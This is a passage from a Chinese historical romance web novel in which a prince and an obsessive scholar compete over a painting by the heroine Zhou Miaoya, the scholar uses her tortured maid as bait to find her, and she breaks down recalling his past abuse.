就在这剑拔弩张之际,朱弘毅目光敏锐地瞥见店外那辆属于文家的马车,马车的车窗帘子,此刻被一只骨节分明的手微微掀开一角,一双深沉的眼睛,正透过缝隙,冷静地观察着店内的动静。 是文毓瑾,他果然来了,却躲在一旁,让他那个不学无术的弟弟出来当这恶人。 朱弘毅心下了然,文毓瑜这等草包,自然看不出这画作的真正门道,只知是仿了他家祖父的画风,觉得丢了颜面。而真正看出这画出自谁手,因而心生巨震与恐慌的,是车里那位运筹帷幄的状元郎。 朱弘毅当下轻笑一声,上前一步,朗声道:“我当是谁如此大的阵仗,原来是文二公子。” 他转而看向文毓瑜,语气带着几分戏谑:“郡马爷何必如此动怒?依在下看,这画嘛,笔力虽嫩,灵秀有余,倒不似文老太爷苍劲之风,反更像是…哪位闺阁才女的笔墨游戏,无意间流落至此罢了,毁了岂不可惜?” 他这话声音不高不低,却恰好能清晰地传至门外。 那马车帘幕后的目光骤然一凝。 “哪来的纨绔子弟?少管代王府的闲事。”那管事的恶奴讥讽道。 “公子此言差矣。” 只见文毓瑾缓步从马车上走下,步入店内,他面色沉静,先是对朱弘毅拱手一礼,仪态无可挑剔,随即目光扫过那些画作,语气斩钉截铁: “即便非先祖真迹,此画刻意模仿文家笔意,流落于此等公众之地,任人评头论足,便已是玷污我文氏门风,绝不能容其存于世。” 他不再看朱弘毅,直接对带来的家丁下令:“将这些有损家声的假画,全部带走,一张不留!” 豪奴们得令,立刻如狼似虎地上前,粗暴地将墙上的画作尽数扯下卷走。 就在这混乱之际,两人的目光却同时汇注到了角落里一幅不起眼的画上。 那幅画明显没有和仿文老太爷笔迹的山水画放在一起,只因它的内容不是文人意境。 那幅画笔触灵动,意境缠绵,任谁都能看出画中女子对男子的倾慕之情,画中,清隽男子执伞,青衣女子含羞仰望,情愫暗生。 朱弘毅一眼就认出了这幅画,呼吸陡然停住。 一股巨大的,裹挟着惊喜的情绪瞬间涌上。 他没想到周妙雅竟把他们二人共伞的一瞬画下,且画得如此…情意绵绵。 更叫他意外的是,这幅藏尽她心底秘密的画作,竟会出现在此地,出现在众目睽睽的汲古斋。 文毓瑾的目光亦似被磁石牢牢吸住般,看向那幅画。 他先是愕然,随即狂喜与得意如潮水般汹涌而来,他果然也认出了周妙雅的笔迹。 伞下男子挺拔如松,清隽出尘,这般风姿,不正画的是他文毓瑾吗? 是了,定是如此! 她被康婧瑶发卖,被逼坠崖,却未香消玉殒,反而把对他的一腔思念都画进了这幅画中。 “雅儿…你果然忘不了我。” 他心中默念着,病态的满足感如毒藤般瞬间席卷全身。 这幅画,他必须得到! 这不仅是一幅画,更是周妙雅爱慕他的铁证。 他转向掌柜,声音却放缓了些:“没想到,汲古斋竟还藏得如此灵秀之作,笔力虽嫩,情致倒也可嘉。” 说罢,他用手中折扇轻点画卷,特意补上一句: “此画,我文家要了。” “文家”二字,他咬得极重,仿佛画中人早已姓文,旁人连觊觎都是越界。 身后的豪奴听得分明,当即撸袖上前,欲卷轴取画。 “慢着。” 朱弘毅声音冷冽,打破了文毓瑾的自我陶醉。他上前一步,目光落在那幅画上。 “文公子,方才你要带走疑似文老太爷的仿作,尚可称维护家门。” 他指尖虚点画作,每个字都无比清晰:“可此画一未署名,二未攀附文家,不过是无名小笔,既是无主之物,文公子见猎心喜,想要收藏,也需讲究个先来后到吧?” 文毓瑾眉头一皱,心中不悦,这不知从哪里冒出来的纨绔子弟,竟敢与他争抢… 他强忍着不耐,折扇微收,努力维持着风度:“此画与文某颇有渊源,还望公子高抬贵手,行个方便。” 他语焉不详,试图用渊源二字暗示所有权。 “渊源?” 朱弘毅嗤笑一声,目光锐利地看向文毓瑾,语带双关:“文公子倒是会牵强附会。” 他负手而立,声音不高,却字字带锋:“依本公子看,此画清新自然,描绘的不过是世间再寻常不过的男女情愫,怎的就与高门望族的文公子有了渊源?莫非文公子见到一幅画,觉得画中人与自己略有相似,便要强认了去?这京城的风月画作,岂不都成了文家的私产?” 话音落地,满堂哄然。 看客们掩唇低笑,窃窃私语:“这文家今日算是撞上铁板了…” 心事被挑破,文毓瑾脸色青红交错,他啪一声合拢折扇,咬牙道:“阁下何必强词夺理!此画文某今日志在必得!” “巧了。” 朱弘毅广袖一敛,周身气势轰然荡开:“本公子对此画,亦颇有眼缘。” 两人目光相撞,火花四溅,互不相让,小小的汲古斋内,气氛瞬间紧张得如同拉满的弓弦。 就在这时,姚老先生适时出声,充当和事佬:“二位,一幅无名小画,何必伤了和气,既然二位都对此画青睐有加,争执不下,不若由老夫暂且保管,容后…” “不必了。” 朱弘毅断然打断,他目光冷冷地扫过文毓瑾:“既然文公子如此喜爱此画,本公子也不便夺人所好。” 文毓瑾心中一喜,以为对方退缩。 却听朱弘毅继续道:“只是,强取豪夺,非君子所为,掌柜的…” 他转向吓得发抖的掌柜:“这幅画,本公子出价,五百两。” 五百两!对于一幅无名画作,这简直是天价!店内一片哗然。 文毓瑾脸色剧变,他没想到对方竟用钱砸,他文家虽清贵,但一时半会儿也未必能拿出这么多现银,尤其不能为了一幅说不清道不明的画如此挥霍,落人口实。 朱弘毅将对方脸色尽收眼底,语调也变得愈发舒缓:“若文公子出价更高,本公子自然退出,若不然…” 他意味深长地顿了顿:“此画便归本公子所有,公平交易,童叟无欺,如何?” 文毓瑾气的紧捏着自己的指骨,捏得发出脆响,他紧紧攥着自己的拳头,指甲深嵌掌心。 他死死盯着那幅画,又狠狠瞪了朱弘毅一眼,眸底森寒,仿佛在威胁对方:你给我等着。 最终,在众目睽睽之下,他终不能再抬价,只能从牙缝里不情不愿地挤出一句:“我们走!” ————— 夜深人静之时… “啪!”一声脆响,文毓瑾手中的青瓷杯被他狠狠摔在地上,四分五裂。 他胸膛剧烈起伏,烛火映得他面色阴沉的可怕,眼底翻涌着震惊与暴怒。 他一把抓起一张今日自汲古斋掠回的画,死死盯着画上的笔墨,五指用力收拢,几乎要将宣纸揉碎。 烛火摇晃,映得他眼底一片阴鸷,他目光如毒蛇般,似要顺着墨痕淬进画中,与执笔画画的人,永生永世纠缠在一起。 这画,这惟妙惟肖,深得祖父神髓却又透着灵秀之气的画…… 笔尖走势,用墨习惯,他都太熟悉了… 是她!一定是她! 周妙雅…竟然没死! 文毓瑾那偏执与占有欲在此刻如洪水般涌上心头,他想起刚得知她坠崖的那一刻,他带着家仆,整整十天十夜没合眼,硬生生地将那山头翻找了一遍又一遍,连半点她尸体的痕迹都没找到。 从那时起,他就笃定,她没死,他也不许她死。 没死就好,她生是文家的人,死是文家的鬼,他就算挖地三尺也要将她刨出来,即使她变成了一具干尸,那也只能是他文毓瑾独占的。 他必须知道她在哪… 这个念头如同毒蛇般噬咬着他的心,他猛地一拳砸在书案上,从牙缝里挤出命令,声音嘶哑而疯狂: “查!查今日那个与我争画的男子究竟是谁…查汲古斋的老板,挖地三尺也要找出这些画作的源头!”《 》 28、第二十八章 朱弘毅回到书房,书房内,烛火摇曳。 他神色冰冷地盯着案上那幅失而复得的共伞图,脑海中思绪飞快。 此事绝非偷画那般简单,而是有人公然踩踏他的底线。 “长安。” “属下在。”长安应声现身,已感受到主人身上罕见的杀意。 朱弘毅的声音似暴风雨来临前的平静:“府中出了蛀虫,于暖阁不利,周姑娘昨日在暖阁画的一幅画,今日便出现在了汲古斋,你说,本王该怎么想?” 长安心头巨震,立刻双膝跪地:“属下万死!竟让宵小之辈钻了空子,求王爷给属下一夜时间,天亮前必揪出那条蛀虫。” “起来,贼要藏,总能找到缝隙。” 朱弘毅指尖轻叩着画卷,声音冰冷: “但本王这里,没有第二次,要快,要静,要斩草除根。” “属下明白!” 长安行动如闪电。 他秘密调取了昨日进出暖阁的全部记档,包括丫鬟,仆役,洒扫及送物的低等内监,一个不落。而后筛去了不在场者,最后圈定在几个有作案时间的太监和仆役身上。 随后,长安放出风声,称王爷一件极为心爱的心头小物落在了暖阁附近,此物虽值不了几个钱,却是旧年御赐,意义非常,凡拾得者重赏,知情不报者,则与盗同罪。 此消息一放出去,很快便有了回音。 举报人指认:专司收运废纸的小太监福顺,昨晨当值后未返回庑房,反绕道后巷,与常来府外收旧纸的书画贩子郑四接头,片刻即散。 长安得到消息,当即遣人夜袭了郑四栖身的小院,连人带货一并摁住,押入暗室,连夜突审。 郑四熬不住刑,很快便招认了… 确是福顺时常偷偷将一些品相完好的纸笺和画稿卖给他,昨日便卖了一幅墨迹未干透的男女共伞图。 郑四的供词到手,长安即刻带人前往福顺的庑房。 搜查进行的悄无声息,他们撬开福顺的床板,暗格里整整齐齐码着碎银,足抵他几年的月例。 天色未明,福顺已被请到了一间空屋。 空屋内没有刑具,只有一张空桌,桌上点了一盏烛火。 就这烛火的微光,空桌上一字排开的三样物件一目了然:共伞图,碎银与郑四画押的口供。 长安抱臂而立,只冷眼看着他,未发一语。 福顺当场被吓的瘫软,面如死灰,知道抵赖无用,扑通一声跪到了地上,哭着磕头求饶:“大人饶命!饶命啊!小的是猪油蒙了心,小的见那画…画得精巧,以为是周姑娘不要的废稿,就…就…想着能换几文银子…小的知错!小的知错!” “你以为?” 长安打断他,声音冰冷:“王爷暖阁里的东西,哪怕是一张废纸,也是你能擅自处置的?你可知这画流出去,会给周姑娘,给王府带来多大的麻烦?” 不等福顺辩解,长安一挥手:“拖下去,按府规,背主窃物,里通外府,该怎么处置,不用我教你们吧?” 话音落,他复述着朱弘毅的原令:“自今日起,府中众人,若再有人敢伸手,敢拿府里的消息,物件,乃至人,去外头换一文银子,无论所得几何,无论缘由为何,一经查实,格杀勿论!” 内鬼既清,朱弘毅却未合眼,他将目光投向了更远处。 “去请姚老先生。” 他淡声吩咐:“天亮之前,将汲古斋一家老小送出京城,越远越好。” 文毓瑾那疯狗既已嗅到味道,便绝不会松口,既然供画的来源已经掐断,索性就把事情处理干净。 为了彻底断了文毓瑾的念想,他吩咐长安道:“找一具年龄体型相仿的无名尸,换上汲古斋老板的衣物,明日清晨,意外浮于京郊河道。要让所有人都以为,此人是卷款潜逃时失足落水,已然毙命。” “属下明白!必不辱命!”长安抱拳,一闪没入了夜色中。 ———— 次日,当文毓瑾的人赶到汲古斋时,只看到店门紧闭。 未几,京郊河道浮尸的消息便传来,溺者衣饰,身形与汲古斋老板无异,官差验后立即断案,汲古斋老板卷赃潜逃,失足溺亡,此案既结。 而文府深处,一间终日帘幕低垂,弥漫着浓郁墨香的书房内,文毓瑾已近乎疯魔。 外人都道他与康婧瑶举案齐眉,琴瑟和鸣,实际上,两人连同房的日子都很少,这其中的苦,只有康婧瑶自己知道。 文毓瑾把自己关在书房里,遣散了所有下人,不许任何人靠近。 那些从汲古斋夺回的画作,被他用近乎癫狂的一幅幅,一张张铺满了整个书房的地面,桌案,甚至椅榻。 他自己则衣衫不整,发髻微散,赤着脚,在这些画作间来回踱步,时而驻足,痴迷地凝视着画上的每一笔墨色,每一根线条。 烛火通明,映着他苍白扭曲的面容。 忽然,他猛地扑到一幅山水画前,指尖战栗着,极其轻柔地抚摸着画上远山的淡墨,轻得像在触碰情人的面颊。 下一瞬,他竟如同着魔般,缓缓低下头,将滚烫的嘴唇印在了那冰凉的纸面上,深深地嗅着,仿佛要将那画上的墨香,以及那作画之人残存在笔痕间的气息,统统汲入肺腑,融入骨血。 “雅儿…雅儿…” 他喃喃自语,声音嘶哑而缠绵,眼神炽得发烫,带着近乎疯狂的执念:“我就知道你没死…你怎么舍得死…你怎么能逃出我的掌心。” 他仿佛陷入幻境,指尖摩挲着画中的山峦,低低呓语:“你瞧,这远山含黛,墨气浮动,只有我懂…只有我知道这其中的好…你合该是我的,永远都是…” 如此昼夜不分,对着满屋画作倾诉,亲吻,已持续了数日,文府的下人们都不敢去打扰他,无人知道那门窗紧闭,密不透风的书房里,到底发生了什么。 直至汲古斋老板溺亡的消息传入… 静… 死一般的寂静在书房里蔓延… 下一瞬,文毓瑾蓦地俯身,喉间滚出一声野兽般的低吼。 他手臂狠狠一挥,上等端砚,羊脂玉洗,成摞孤本卷轴,顷刻般悉数被扫落在地,碎裂声,撞击声不绝于耳,书房一片狼藉。 良久,他缓缓抬眼,血丝纵横的眸底阴色翻涌,一条更疯,更毒的诡计在他心中成形。 他需要一个饵,一个让周妙雅不得不上钩,不得不回到他掌心的饵。 周妙雅…你以为这样就能逃出我的手掌心吗? 文府地牢深处,阴暗潮湿,空气中弥漫着腐朽又绝望的气息。 角落的干草堆上,蜷着一个瘦极的女子。 她衣衫褴褛,浑身布满新旧交叠的伤痕。 她眼神空洞,仿佛被抽走了魂魄,对外界的声响几乎没有任何反应,只是偶尔身体会不受控制地颤抖一下。 她是白芷,是自幼在苏州起,就服侍周妙雅的贴身丫鬟,主仆情深,情似姐妹。 自文老太太去世,周妙雅坠崖身亡后,白芷就成了文毓瑾宣泄的对象。 他强行纳白芷为通房,为了报复康氏逼死周妙雅,他整日留宿白芷的房间,实则是让白芷在地上整宿整宿地跪着,百般折磨她的心理。 文毓瑾极少去康婧瑶那里,即便是去,也是为了给自己的首辅老丈人做做样子,为的是自己的官运亨通。 康婧瑶妒火攻心,岂肯容一个丫鬟占尽恩宠?她暗中挑拨,谎称白芷知晓周妙雅的下落,一纸谗言便把人投进私牢。 日夜鞭笞,烙铁加身,直至白芷被折磨的精神崩溃,彻底痴傻。 铁锁哗啦作响,牢门被推开。 文毓瑾逆光而入,长身投下的阴影如同来自地狱的修罗。 他缓步走到白芷面前,居高临下地打量着这个几乎失去人形的女子,眼中没有丝毫怜悯,只像在打量一件还能不能用的器物。 旋即,他缓缓俯身,用一根手指,极其嫌恶地抬起白芷的下巴。 白芷受惊般地剧烈颤抖起来,喉间不断挤出嘶哑的嗬嗬声,眼底充盈着最原始的惊惧。 “别怕。” 文毓瑾的声音竟放得异常轻柔,却比厉声呵斥更令人毛骨悚然:“白芷,想不想见你家小姐?想不想…再回到她身边去?” “小姐!”听到这两个字,白芷空洞的眼神里似乎闪过一丝极微弱的悸动,但随即又被巨大的恐惧淹没,她拼命地摇头,涕泪横流。 文毓瑾笑了,那笑容扭曲而残忍:“放心,我会让你见到她的,你很快就能帮我把她带回来了。” 他站起身,对身后的心腹家丁冷声吩咐:“给她收拾干净,换身像样点的衣服,然后,把她送到京郊的济慈堂去。” 济慈堂是京郊一家颇有名气的善堂,时常收容无家可归的孤寡或病弱之人。 文毓瑾的眼中闪烁着阴狠的寒光:“放出风声去,就说文家心善,怜惜这丫鬟旧主新丧,自身又疯癫无依,特将其送至济慈堂,盼其能得些照料,苟延残喘,得口饭吃。” 他笃定,无论周妙雅藏在京城的哪个角落,只要她还在乎这个情同姐妹的丫鬟,就一定会听到这个消息,只要她听到,以她的性子,就绝不会眼睁睁看着白芷流落在外,受人欺凌。 届时,他布下的天罗地网,只需静待那只惊慌失措的鸟儿,自投罗网。 回到书房,文毓瑾踩着满地画作,俯身拾起一幅,指尖摩挲着画中的墨迹,声音低柔得像情人间的呢喃:“雅儿,我看你还能往哪儿逃…我们,很快就重逢了。 他苍白的面容泛起了病态的潮红,仿佛已预见她重落掌中,被囚/禁于深宅,只能为他斟茶研墨,红袖添香的景象。 她这辈子,合该只做他文毓瑾的艳妾,只能属于他一个人。《 》 29、第二十九章 第29章 京西的奉国寺, 隐于苍茫古柏深处,钟声杳然,隔绝尘凡。 周妙雅着一身素白立领斜襟大衫, 月白绫裙, 轻纱覆面, 只露出一双清澈含情的眼。 大雄宝殿内光线幽暗,愈发衬得佛像金身宝相庄严,低眉俯瞰,似在悲悯众生苦厄。 周妙雅拈香跪于蒲团之上,望着佛前缭绕的青烟,仿若她那些不能宣之于口的纷扰心事。 “信女周妙雅,叩谢佛祖庇佑。” 她心底默念着, 眼前浮现的却是朱弘毅清俊的眉眼。 藏书楼里,他稳稳接住从扶梯上跌倒的她, 她失控的手臂紧紧环住了他的脖颈。 那日大雨如注, 他悄然将伞倾向她那一侧… “信女感激宁王殿下救命之恩,感激他待我…恩重如山。” “愿佛祖佑他千岁安康,事事顺遂。” 默祷至此, 她脸颊微热,长睫轻颤, 声音更低更轻,仿佛怕被这满殿神佛听去心底最隐秘的企盼:“若…若弟子与他真有几分缘法, 求佛祖慈悲指点,但求能常伴左右, 不负此心。” 然而,就在那心底的暖意将要溢出的刹那,现实的残酷却让她瞬间清醒下来。 周妙雅, 你是什么身份?无父无母的孤女,连自己的生身父母是谁都不知道…在文家寄人篱下苟活至今,险些被发卖至烟花之地。你这一生,坎坷飘零,如同浮萍,若非他出手相救,你早已是悬崖下一具枯骨。 而他呢? 他是当今圣上唯一的亲弟,是高高在上的宁王殿下,是云端上的人物。他对你的好,是恩典,是怜悯,是君子仁心,是他霁月清风之下的顺手为之。 你怎敢,又怎配,生出这般僭越的非分之想? 连文毓瑾都没有想过娶你为正妻,更何况是天潢贵胄,高高在上的宁王殿下… 云泥之别。 方才一点怯生生的妄念,此刻看来,竟是如此可笑又可悲。 想到这里,她心中不觉一沉… 她垂下头,只觉方才还滚烫的脸颊,一瞬间凉透,血色尽失,面纱之下唯余一片掩不住的苍白。 她朝着金身佛像又深深叩了三个响头,才扶着蒲团起身,绕过大雄宝殿,往后身的观音殿去了。 观音殿内,工匠正搭着脚手架,翻修那尊悬塑渡海观音。 旁边有几名画师攀在竹梯上,手持毛笔,正在为墙上的壁画敷彩补线。 那壁画色彩瑰丽,线条流畅,描绘的是佛陀本生的故事。 周妙雅脚步不由自主地被吸引过去,站在不远处静静观摩。画师笔下的飞天衣袂飘飘,神态安详,眉目慈柔。 她一时看的入了神,恍若置身于壁画所描绘的场景之中,竟忘了时间。 她情不自禁,以指尖隔空在自己的大衫广袖上描摹起了壁画上的线条,刚刚心中的酸楚,逐渐被画中的世界所取代。 “女施主也懂画?”须发皆白的老方丈见她看得专注,含笑上前,语气慈和。 周妙雅忙敛衽施礼:“只识皮毛,不敢妄称通晓,见笔法神妙,情难自禁,心向往之,倒让方丈见笑了。” 语罢,她自袖中取出随身所带的碎银,双手捧着,恭敬奉上:“微薄香火,些许心意,聊助宝刹修缮,也算弟子的一点功德。” 老方丈接过,双手合十,念了句阿弥陀佛。 又见她心诚,便温声道:“斋堂正值布施,若女施主有暇,不妨随老衲前去,添汤盛饭,亦是结缘。” 周妙雅正想为心中祈愿多积些功德,自然应允。 斋堂外支起了数口大锅,热气蒸腾,米香四溢。 流民们排着长队,他们虽衣衫褴褛,却都规规矩矩,秩序井然,眼中只盼着这一碗热粥能裹腹。 周妙雅将刚刚满腹的酸涩尽数敛起,挽起素白大衫的广袖,露出半截白皙的手腕。 她手执长柄木勺,微微俯身,动作轻柔而利落,将一勺勺稠粥盛入陶碗,递予每一位上前的流民。 遇到年迈体弱,步履蹒跚的流民,她会下意识地多舀些稠的,见到抱婴携童的妇人,她会微微俯身,将陶碗递到孩童的能接到的地方。 面纱之上,那双眸子清澈而专注,流转着纯粹的善意。 就在这井然有序的长队之中,后方忽然传来一阵孩童的啼哭声,带着咳喘 ,妇人焦急地拍哄着,却怎么也止不住。 周妙雅循声望去,那孩童约莫四五岁的样子,被母亲紧紧抱在怀中,小脸通红,眼皮沉重,精神萎靡,每哭一声便跟着一串短促的干咳,呼吸显得有些急促。 队伍里顷刻起了骚动,周围的人下意识避开了些许,流露出了畏惧的神情。时人怕病,尤其是这等流民聚集之地,一场风寒可能就会酿成大疫。 那妇人满面愁容,抱着孩子不知所措,眼看就要轮到她,却不敢上前。 周妙雅心中一动,她想起自己这些时日翻阅医书,钻研药理,虽谈不上精通,但一些常见症候的浅显道理,却也略知一二。 文老太太死因不明的阴影始终萦绕心头,对康婧瑶的怀疑驱使着她学习这些,此刻竟似乎派上了用场。 她放下粥勺,对身旁的婆子低语一句,便主动向那对母子走去。 “这位大嫂。” 周妙雅虽戴着面纱,但声音温和:“孩子可是不适?我粗通医理,若信得过,可否让我瞧瞧?” 妇人见她衣着素雅,气度不凡,虽遮着面容,却无半点倨傲之色,只满眼真切。她如同抓住了救命稻草,连忙道:“多谢姑娘!多谢姑娘!娃儿烧了两日,咳嗽得厉害,我…我实在是没法子了…” 周妙雅示意妇人将孩子抱至檐下避风处,她蹲下身,仔细观瞧了孩子的面色,舌苔,又凝神听了他呼吸间的痰音。她记起医书上所言风热犯肺的一些表征,与这孩子的情形颇有几分相似。 “似是风热咳嗽,邪气闭肺。” 她轻声对妇人道,语气带着初学者的谨慎,却又努力显得镇定:“大嫂莫急,孩子年纪小,脏腑娇嫩,需及时疏散风热。寺中有备着些薄荷,桑叶,若能煎些水来,给他饮下,或可缓解一二,切记莫再受风,饮食需清淡。” 她一边说着,一边从随身携带的荷包中取出几枚铜钱,塞到妇人手中:“去寻寺里的师傅问问,或许能买到些对症的草药。” 妇人感激涕零,抱着孩子就要下跪:“谢谢活菩萨!谢谢活菩萨!” 周妙雅连忙伸手虚扶住她:“快别如此,举手之劳,当不得谢。” 她看着妇人千恩万谢地抱着孩子往寺内寻去,心中涌起一股难以言喻的慰藉。 她却不知,方才这一幕,悉数落入了不远处一双锐利沉静的眼眸中。 顾凌云今日恰奉旨巡查京畿防务,途径奉国寺,本想入内稍作休憩,顺便查看一番这等人员繁杂之地的治安。 他一身墨色曳撒,身形挺拔如松,立在斋堂的廊檐下,气息内敛,并未引起太多注意。 他的目光原本只是随意扫过布施的人群,却在那个戴着面纱,身着素色衣裙的女子身上停驻。 她布施时的温柔耐心已与周遭环境有些格格不入,而当她毫不犹豫走向那对生病的母子时,更显特别。 她的眉眼,身形和那日大兴县田间仗义执言,身份不详的女子很像… 这似乎更是勾起了顾凌云的兴趣。 周妙雅回到粥棚,一位热心肠的婆子凑近,低声道:“姑娘真是菩萨心肠,人美心善。” 周妙雅害羞垂首,那婆子进而又道:“这寺里布施,到底是场面上的事儿,你若真想帮衬那些苦命人,不如去城西的济慈堂。” 周妙雅手中动作未停,轻声问:“济慈堂?” “是啊,”婆子叹口气道:“那里头收留的,都是些无家可归,身世凄惨的女子,比这些领粥的可怜多了,个个都像浮萍,没个倚靠。” “身世凄惨…无倚无靠。” 这八个字,猝然刺入周妙雅心口最柔软处。 她想到自己的飘零往事,苦楚瞬间翻涌而上。 她稳住心神,声音带着微微的涩意:“是啊…世间苦命人,何其多。” 婆子见她动容,像是找到了知音,便凑得更近,唉声叹道:“可不是吗,就说前两日,京城里头那素有善名的文状元家,还把个疯了的丫鬟送过去了,说是主家仁厚,给条活路,可好好的人,在那样富贵锦绣的窝里,怎么就疯魔了呢?真是造孽…” 文家?周妙雅听到文家两字,瞬间警觉了起来。 一旁的另一个婆子凑了过来:“你是说有御赐百年文脉匾额的文家吗?” “可不是吗!这京城里,哪还有第二个文状元?”先前的婆子回道。 那凑过来的婆子继续说道:“我听闻啊,那丫头叫白芷,原是文状元屋里的通房,好好一个姑娘,如今疯得连人都认不得了。” 白芷?听到这熟悉的名字,周妙雅的耳边突然嗡的一声,脑中瞬间如惊雷闪过。 白芷…通房…疯了? 周妙雅手中的碗不受控地掉在了地上,热粥四溅,惊得一旁布施的婆子们纷纷投来目光。 面纱下,周妙雅唇色瞬间褪尽,指尖止不住地颤着。 文毓瑾,你这人渣!你到底对她做了什么? 顾凌云显然也察觉到了粥棚里的异常,他正欲上前,却见朱弘毅突然出现在此处。 顾凌云心下已了然,他目光微凝,掠过朱弘毅看向那失魂落魄的女子,田间那一幕与眼前景象重叠,一个模糊的猜想在他心中渐次清晰:此女,果然与宁王府渊源匪浅。 “妙雅,你怎么了?没伤到吧?” 朱弘毅见周妙雅神情恍惚,也顾不得这熙熙攘攘排队的流民,忙上前询问道。 “殿…殿下…你怎么来了?” 周妙雅抬起泪眼,正撞上他关切而温柔的目光。 原来朱弘毅今日在家等了一整天,遍寻不见周妙雅的身影,眼看着夕阳西下,他担心周妙雅还不归家,怕她在外面遇到什么危险,问了下人才知道她今日只身一人去了奉国寺。 一旁施粥的婆子们都以为是年轻夫君来接外出一天的娘子归家的,纷纷投来了羡慕的目光。 朱弘毅温柔说道:“先回家吧,有什么事情,我们回家再说。” ———— 回家的路上,马车辘辘而行。 车厢内,明角灯随车身轻轻晃动,光晕一圈圈漾开,将周妙雅脸上未干的泪痕照得晶莹。 自上车后,她便将自己一直蜷缩在角落里,泪水无声,如决堤般从那双空洞的美眸中滚滚而落。 面纱下,她死死咬着下唇,唇角渗出血丝,却浑然未感觉到伤口已漫出咸涩的血腥味。 她单薄的肩膀剧烈地耸动着,身体的颤抖无论如何也抑制不住,从喉间传出断断续续的哽咽声。 朱弘毅踞坐于她对面的软垫上,眉头紧锁。 他虽不知具体缘由,但看着她这般伤心欲绝、我见犹怜的模样,他心底也不由自主地跟着她痛。 他沉默片刻,终是缓缓倾身,伸出手,想要拂去她颊边那不断滚落的泪珠。 就在他微凉的指尖即将触碰到她肌肤的刹那… “吁!” 车夫一声急喝,马车猛地剧烈颠簸,似是碾过了路上深陷的坑洼。 周妙雅本就心神恍惚,浑身脱力,猝不及防之下,整个人直直撞入朱弘毅怀中。 一瞬间,世界仿佛静止。 意料中的疼痛并未袭来,朱弘毅的手臂已先一步下意识地收紧,将她整个人圈护在怀中。 周妙雅的额头重重抵在了他坚实的胸膛上,她低低惊呼着,纤纤玉指在慌乱间紧紧攥住了他道袍的前襟。 怀抱中前所未有的安全感,像一道暖流,瞬间击溃了她所有强撑的壁垒。 内心积压的恐惧,委屈,对白芷安危的担忧,一并化作汹涌的洪流,再也抑制不住,彻底决堤。 她非但没有退开,反而像是溺水之人抓住了唯一的浮木,伸出双臂,紧紧环住了他的腰身。 她将脸深深埋进他坚实的胸膛,放声痛哭起来。 朱弘毅的身体被这突如其来的拥抱惊的微微一僵,他感受到怀中的人儿崩溃的颤抖和滚烫 的泪水,心中充满了柔软的怜惜。 他抬起手臂,带着生涩而坚定的温柔,轻柔地安抚着她颤抖的脊背:“没事了,我们马上就到家了。” 马车在短暂的颠簸后恢复了平稳,车厢内,只余她撕心裂肺的痛哭声,和他沉稳有力的心跳声交织在一起。 马车在宁王府侧门稳稳停下。 周妙雅已哭得脱了力,但指尖仍攥着他的衣襟不放。朱弘毅一手托着她的肘弯,一手护在她的腰后,将人稳稳扶下了马车。 早已等候在院内的青黛见状,吓得魂飞魄散,忙不迭地迎了上来,关切道:“姑娘,您这是怎么了?” 她急得声音都变了调,连忙从另一侧搀扶住周妙雅。 朱弘毅不动声色地松开手,将周妙雅交给青黛,同时递给她一个深沉的眼色,示意她好好安抚,并问问究竟。 青黛何等机灵,立刻会意。 她立刻挽住周妙雅几乎软倒的身子,半拖半扶着往暖阁走去。 只见她眼珠悄悄转了转,目光在朱弘毅与周妙雅之间来回逡巡,故意蹙起秀眉,带着几分娇嗔与试探,小声嘀咕道: “姑娘怎么哭成这样?可是在外头受了天大的委屈?” 说罢,她顿了顿,偷偷瞄了一眼朱弘毅,声音压得更低,语气中带着一丝少女独有的大胆:“还是说…是咱们王爷…欺负您了不成?” 此话一出,原本浑浑噩噩的周妙雅泪眼里霎时添了慌色,连连摆手,急切解释道:“不、不是的…青黛你别乱讲,与王爷无关,是…是我自己的事。” 站在一旁的朱弘毅,闻言先是一怔,眼见周妙雅慌忙解释,急得泪珠又滚,再瞄青黛那副我懂我都懂的狡黠表情,只得无奈摇了摇头,唇角悄悄勾起一抹轻微的弧度… 青黛这小丫头,可真会添乱。 暖阁内,烛火明亮。朱弘毅将情绪濒临崩溃的周妙雅小心地交给青黛,再次递给她一个务必安抚好的眼神,然后自己倚着门,站到了屋外。 他怕周妙雅真受了什么天大的委屈,自己站在那里,反而让她难以开口。 青黛会意,忙扶周妙雅在铺了软垫的榻上坐下,又转身倒了一杯温热的参茶,递到她冰凉的手里,柔声劝道:“姑娘,先喝口热茶暖暖身子,定定神。不管发生了什么,总有法子解决,您这样哭,身子怎么受得住?” 周妙雅恍若未闻,双手捧着温热的茶杯,指尖却仍在不住地颤抖。她目光空洞地望着跳跃的烛火,嘴唇微微翕动,反复喃喃着一个名字:“白芷…白芷…” 青黛一怔,小心翼翼地问道:“姑娘,白芷…是谁?” 青黛这一问,正戳在她最痛处,彻底撕破了她勉强维持的平静。 她猛地抬起头,泪水再次汹涌而出。 她一把攥住青黛的手,声音破碎不堪,满是愧疚:“白芷她是文家唯一真心待我,与我相依为命的人可我却害了她文毓瑾那个畜生,收她做通房,还把她逼疯了!都是因为我都是我连累了她” “是我害了她…是我害了她…”她反复念着,巨大的负罪感如同沉重的枷锁,压得她喘不过气。 她开始断断续续地诉说,起初是混乱的词语,渐渐汇成一条条充满痛苦的句子。 “在苏州…文毓瑾他就…”她的声音带着回忆的恐惧,身体不自觉地瑟缩了一下:“他总是以指点书画为名,把我困在藏书楼…逼到书架角落…说那些不堪入耳的话,动手动脚…我若反抗,他便威胁要将我赶出文家,让我流落街头…” 青黛听得脸色煞白,紧紧回握住她冰凉的手。 “后来…后来只因为一个不相干的外男在寺庙里多看了我一眼…” 周妙雅的声音里满是屈辱与后怕:“他便勃然大怒,说我招摇,不知廉耻…把我锁进听雨轩,关了五天五夜。那里又黑又冷,只有冰冷的馒头和清水…” “还有…还有他离开苏州,赴京赶考的前一夜…” 她的声音陡然变色,带着刻骨铭心的耻辱与恐惧:“他喝了酒,闯进我房里…撕扯我的衣服,说…说在他走之前,必须让我成为他的人…” “就连…就连他大婚之夜。” 她抬起泪眼,里面满是荒谬的屈辱与愤怒:“他抛下新婚的妻子康婧瑶,竟然…竟然跑到祖母院中来寻我,逼问我,恐吓我…” “这一桩桩、一件件恶行,若没有白芷,若没有白芷每次巧妙化解,若不是她拼死跑去上房惊动祖母,我…我可能早已不知被那禽兽侵犯了多少次…” 她说着,身体因回忆而剧烈地颤抖起来。 她一件件数着文毓瑾的恶行,也一件件数着白芷如何在那黑暗窒息的时刻,以微薄之力,一次次将她从悬崖边拉回。 